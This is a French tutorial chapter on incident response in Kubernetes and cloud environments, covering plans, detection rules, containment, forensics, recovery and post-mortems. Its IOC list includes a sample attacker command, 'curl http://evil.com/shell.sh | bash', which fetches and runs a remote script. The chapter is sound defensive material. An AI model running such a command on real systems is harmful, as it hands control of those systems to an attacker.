Incident Response

1 - Framework de réponse

1.1 NIST Incident Response

1.2 Phases détaillées

Phase	Activités
Preparation	Plans, équipes, outils, formation
Detection	Monitoring, alertes, triage
Containment	Isolation, limitation des dégâts
Eradication	Suppression de la menace
Recovery	Restauration des services
Lessons Learned	Post-mortem, améliorations

2 - Préparation

2.1 Incident Response Plan

incident_response_plan:
  version: 1.0
  last_updated: 2024-01-15
  
  team:
    incident_commander: security-[email protected]
    communications: [email protected]
    technical_lead: devops-[email protected]
    legal: [email protected]
    
  severity_levels:
    P1_Critical:
      description: "Service down, data breach"
      response_time: 15 minutes
      escalation: immediate
      communication: CEO, Board
      
    P2_High:
      description: "Security vulnerability exploited"
      response_time: 1 hour
      escalation: 30 minutes
      communication: CTO, Security team
      
    P3_Medium:
      description: "Suspicious activity detected"
      response_time: 4 hours
      escalation: 2 hours
      communication: Security team
      
    P4_Low:
      description: "Policy violation, minor issue"
      response_time: 24 hours
      escalation: 12 hours
      communication: Team lead

2.2 Runbook Template

# Security Incident Runbook

## Incident: [Type d'incident]

### Detection
- [ ] Vérifier l'alerte source
- [ ] Confirmer l'incident (pas de faux positif)
- [ ] Évaluer la sévérité

### Initial Response
- [ ] Notifier l'incident commander
- [ ] Créer un channel Slack #incident-XXXX
- [ ] Documenter le timeline

### Containment
- [ ] Isoler les systèmes affectés
- [ ] Bloquer les accès suspects
- [ ] Préserver les preuves

### Investigation
- [ ] Collecter les logs
- [ ] Analyser les IOCs
- [ ] Identifier le root cause

### Recovery
- [ ] Appliquer les correctifs
- [ ] Restaurer les services
- [ ] Valider la sécurité

### Post-Incident
- [ ] Rédiger le post-mortem
- [ ] Identifier les améliorations
- [ ] Mettre à jour les runbooks

3 - Détection

3.1 SIEM (Security Information and Event Management)

3.2 Detection Rules

# Elastic SIEM Rule
name: "Brute Force SSH"
description: "Detect SSH brute force attempts"
type: threshold
query: |
  event.category: authentication AND
  event.outcome: failure AND
  source.ip: *
threshold:
  field: source.ip
  value: 10
  cardinality:
    field: user.name
    value: 3
severity: high
risk_score: 75
tags:
  - attack.credential_access
  - attack.t1110

# Falco Rule
- rule: Suspicious Network Activity
  desc: Detect outbound connections to suspicious destinations
  condition: >
    outbound and 
    container and 
    fd.sip in (malicious_ips)
  output: >
    Suspicious outbound connection 
    (container=%container.name ip=%fd.sip)
  priority: CRITICAL

3.3 Alerting Configuration

# Prometheus Alertmanager
groups:
  - name: security-alerts
    rules:
      - alert: HighFailedLoginRate
        expr: |
          sum(rate(auth_failures_total[5m])) > 10
        for: 5m
        labels:
          severity: high
          team: security
        annotations:
          summary: "High rate of failed logins detected"
          description: "{{ $value }} failed logins per second"
          runbook: "https://runbooks.example.com/failed-logins"
          
      - alert: UnauthorizedAPIAccess
        expr: |
          sum(rate(api_unauthorized_total[1m])) > 5
        for: 2m
        labels:
          severity: critical
          team: security
        annotations:
          summary: "Unauthorized API access detected"

4 - Containment

4.1 Actions immédiates

# Isoler un pod compromis
kubectl label pod compromised-pod quarantine=true
kubectl patch pod compromised-pod -p '{"spec":{"nodeName":"quarantine-node"}}'

# Bloquer une IP
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-attacker
spec:
  podSelector: {}
  ingress:
    - from:
        - ipBlock:
            cidr: 0.0.0.0/0
            except:
              - 192.168.1.100/32  # Attacker IP
EOF

# Révoquer des credentials
aws iam delete-access-key --user-name compromised-user --access-key-id AKIAXXXXXXX

4.2 Kubernetes Incident Response

# Isolation NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: isolate-pod
  namespace: production
spec:
  podSelector:
    matchLabels:
      quarantine: "true"
  policyTypes:
    - Ingress
    - Egress
  ingress: []
  egress: []

# Script d'isolation
#!/bin/bash
POD=$1
NAMESPACE=$2

# Label pour isolation
kubectl label pod $POD -n $NAMESPACE quarantine=true

# Capturer l'état
kubectl describe pod $POD -n $NAMESPACE > /evidence/$POD-describe.txt
kubectl logs $POD -n $NAMESPACE --all-containers > /evidence/$POD-logs.txt

# Snapshot si possible
kubectl exec $POD -n $NAMESPACE -- tar czf - /app > /evidence/$POD-filesystem.tar.gz

5 - Investigation

5.1 Log Analysis

# CloudWatch Logs Insights
fields @timestamp, @message
| filter @message like /error|fail|denied|unauthorized/
| sort @timestamp desc
| limit 1000

# Elastic Query
GET logs-*/_search
{
  "query": {
    "bool": {
      "must": [
        { "range": { "@timestamp": { "gte": "now-24h" } } },
        { "match": { "source.ip": "192.168.1.100" } }
      ]
    }
  },
  "sort": [{ "@timestamp": "desc" }]
}

5.2 Forensics Container

# Capturer l'état du container
docker export compromised-container > container-export.tar

# Analyser le filesystem
mkdir /forensics
tar -xf container-export.tar -C /forensics

# Rechercher des malwares
clamscan -r /forensics

# Analyser les processus (si container running)
docker exec compromised-container ps aux
docker exec compromised-container netstat -tulpn
docker exec compromised-container cat /proc/*/cmdline

5.3 IOC (Indicators of Compromise)

# IOC Collection
iocs:
  ip_addresses:
    - 192.168.1.100
    - 10.0.0.50
  domains:
    - malicious.example.com
  file_hashes:
    - sha256: abc123...
  user_agents:
    - "Mozilla/5.0 (Malware)"
  commands:
    - "curl http://evil.com/shell.sh | bash"

6 - Recovery

6.1 Checklist de recovery

## Recovery Checklist

### Pre-Recovery
- [ ] Menace éradiquée confirmée
- [ ] Backups vérifiés
- [ ] Patches appliqués

### Recovery Steps
- [ ] Restaurer depuis backup clean
- [ ] Réinitialiser tous les credentials
- [ ] Valider l'intégrité des données
- [ ] Activer le monitoring renforcé

### Post-Recovery
- [ ] Vérifier les logs pour anomalies
- [ ] Confirmer les performances normales
- [ ] Communiquer aux stakeholders

6.2 Rollback Kubernetes

# Rollback deployment
kubectl rollout undo deployment/app -n production

# Restaurer depuis backup
velero restore create --from-backup daily-backup-clean

# Redéployer depuis image clean
kubectl set image deployment/app app=myregistry/app:known-good-version

7 - Post-Incident

7.1 Post-Mortem Template

# Post-Mortem: [Titre de l'incident]

## Résumé
- **Date**: 2024-01-15 14:00 UTC
- **Durée**: 4 heures
- **Sévérité**: P1
- **Impact**: Service indisponible pour 10,000 users

## Timeline
| Heure | Événement |
|-------|-----------|
| 14:00 | Détection de l'anomalie |
| 14:05 | Alerte déclenchée |
| 14:15 | Équipe mobilisée |
| 15:00 | Root cause identifié |
| 17:00 | Service restauré |
| 18:00 | Post-mortem rédigé |

## Root Cause
[Description détaillée de la cause]

## Impact
- Users affectés: 10,000
- Revenue perdu: $XX,XXX
- SLA breach: Oui/Non

## What went well
- Détection rapide
- Communication efficace
- Équipe réactive

## What went wrong
- Monitoring insuffisant
- Runbook obsolète
- Escalation tardive

## Action Items
| Action | Owner | Due Date | Status |
|--------|-------|----------|--------|
| Améliorer monitoring | @devops | 2024-01-22 | Open |
| Mettre à jour runbook | @security | 2024-01-20 | Open |
| Formation équipe | @lead | 2024-02-01 | Open |

## Lessons Learned
[Points clés à retenir]

7.2 Métriques Incident Response

Métrique	Définition	Cible
MTTD	Time to Detect	< 15 min
MTTA	Time to Acknowledge	< 5 min
MTTR	Time to Resolve	< 4h (P1)
MTTR	Time to Remediate	< 24h

Résumé

Dans ce chapitre, nous avons appris :

Le framework NIST de réponse aux incidents
La préparation (plans, runbooks)
La détection (SIEM, alerting)
Le containment et l'isolation
L'investigation et forensics
La recovery et les post-mortems

Prochaine étape

Dans le prochain chapitre, nous verrons les Bonnes pratiques.

→ Chapitre suivant : Bonnes pratiques

← Retour à la table des matières

1 - Framework de réponse​

1.1 NIST Incident Response​

1.2 Phases détaillées​

2 - Préparation​

2.1 Incident Response Plan​

2.2 Runbook Template​

3 - Détection​

3.1 SIEM (Security Information and Event Management)​

3.2 Detection Rules​

3.3 Alerting Configuration​

4 - Containment​

4.1 Actions immédiates​

4.2 Kubernetes Incident Response​

5 - Investigation​

5.1 Log Analysis​

5.2 Forensics Container​

5.3 IOC (Indicators of Compromise)​

6 - Recovery​

6.1 Checklist de recovery​

6.2 Rollback Kubernetes​

7 - Post-Incident​

7.1 Post-Mortem Template​

7.2 Métriques Incident Response​

Résumé​

Prochaine étape​

1 - Framework de réponse

1.1 NIST Incident Response

1.2 Phases détaillées

2 - Préparation

2.1 Incident Response Plan

2.2 Runbook Template

3 - Détection

3.1 SIEM (Security Information and Event Management)

3.2 Detection Rules

3.3 Alerting Configuration

4 - Containment

4.1 Actions immédiates

4.2 Kubernetes Incident Response

5 - Investigation

5.1 Log Analysis

5.2 Forensics Container

5.3 IOC (Indicators of Compromise)

6 - Recovery

6.1 Checklist de recovery

6.2 Rollback Kubernetes

7 - Post-Incident

7.1 Post-Mortem Template

7.2 Métriques Incident Response

Résumé

Prochaine étape